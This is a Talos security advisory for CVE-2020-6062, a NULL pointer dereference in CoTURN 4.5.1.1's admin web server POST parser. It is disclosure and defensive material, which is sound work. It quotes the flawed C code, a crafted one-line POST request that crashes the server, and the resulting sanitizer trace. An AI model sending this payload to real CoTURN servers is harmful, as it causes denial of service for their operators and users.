Talos Vulnerability Report

TALOS-2020-0985

CoTURN HTTP Server POST-parsing denial-of-service vulnerability

FEBRUARY 18, 2020

CVE NUMBER

CVE-2020-6062

Summary

An exploitable denial-of-service vulnerability exists in the way CoTURN 4.5.1.1 web server parses POST requests. A specially crafted HTTP POST request can lead to server crash and denial of service. An attacker needs to send an HTTP request to trigger this vulnerability.

Tested Versions

CoTURN 4.5.1.1

Product URLs

https://github.com/coturn/coturn

CVSSv3 Score

5.9 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Details

CoTURN is a TURN server implementation. A TURN Server is a VoIP media traffic NAT traversal server and gateway. CoTURN can be used as a general-purpose network traffic TURN server and gateway.

For administration purposes, it includes a web server. Code responsible for parsing POST request body variables contains a bug that can lead to denial of service.

Following code is responsible for parsing key/value pairs from POST request body into a dictionary:

```
while (fsplit != NULL) {
  char *vmarker = NULL;
  char *key = strtok_r(fsplit, "=", &vmarker);      [1]
  char *value = strtok_r(NULL, "=", &vmarker);
  char empty[1];
  empty[0]=0;
  value = value ? value : empty;
  value = evhttp_decode_uri(value);
  char *p = value;
  while (*p) {
    if (*p == '+')
      *p = ' ';
    p++;
  }
  list->keys = (char**)realloc(list->keys,sizeof(char*)*(list->n+1));
  list->keys[list->n] = strdup(key);                [2]
  list->values = (char**)realloc(list->values,sizeof(char*)*(list->n+1));
  list->values[list->n] = value;
  ++(list->n);
  fsplit = strtok_r(NULL, "&", &fmarker);
}
```

In the above code, function `strtok_r` can return a NULL value if the left hand side of the split is empty. This NULL pointer is subsequently used in a call to `strdup` at [2] which will result in a NULL pointer dereference, resulting in a process crash and denial of service.

A post request of the following form can be sent to trigger this vunlnerability:

```
"POST /logon HTTP/1.1\r\nContent-Length: 3\r\n\r\n&=\x00"
```

This results in the following crash:

```
ASAN:SIGSEGV
=================================================================
==119651==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9def50e746 bp 0x7f9de4cdece0 sp 0x7f9de4cde468 T14)
    #0 0x7f9def50e745 in strlen (/lib/x86_64-linux-gnu/libc.so.6+0x8b745)
    #1 0x7f9df0ca11b8 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x621b8)
    #2 0x4207a9 in post_parse src/apps/relay/http_server.c:138
    #3 0x420e3e in parse_http_request_1 src/apps/relay/http_server.c:192
    #4 0x4210d5 in parse_http_request src/apps/relay/http_server.c:224
    #5 0x453932 in handle_https src/apps/relay/turn_admin_server.c:3354
    #6 0x455ff6 in https_input_handler src/apps/relay/turn_admin_server.c:3790
    #7 0x415235 in socket_input_worker src/apps/relay/ns_ioalib_engine_impl.c:2472
    #8 0x4167dd in socket_input_handler_bev src/apps/relay/ns_ioalib_engine_impl.c:2690
    #0 0x7f9df00a718d in _bufferevent_decref_and_unlock ??:?
    #1 0x7f9df00a718d in ?? ??:0
    #10 0x7f9df009bfb5 in event_base_loop (/usr/lib/x86_64-linux-gnu/libevent_core-2.0.so.5+0x9fb5)
    #11 0x438143 in run_events src/apps/relay/netengine.c:1579
    #12 0x439983 in run_admin_server_thread src/apps/relay/netengine.c:1807
    #13 0x7f9def8546b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
    #14 0x7f9def58a41c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 strlen
Thread T14 created by T0 here:
    #0 0x7f9df0c75253 in pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x36253)
    #1 0x439af8 in setup_admin_server src/apps/relay/netengine.c:1819
    #2 0x439f56 in setup_server src/apps/relay/netengine.c:1893
    #3 0x429cea in main src/apps/relay/mainrelay.c:2429
    #4 0x7f9def4a382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```

Timeline

2020-02-11 - Vendor Disclosure

2020-02-17 - Vendor patched

2020-02-18 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.
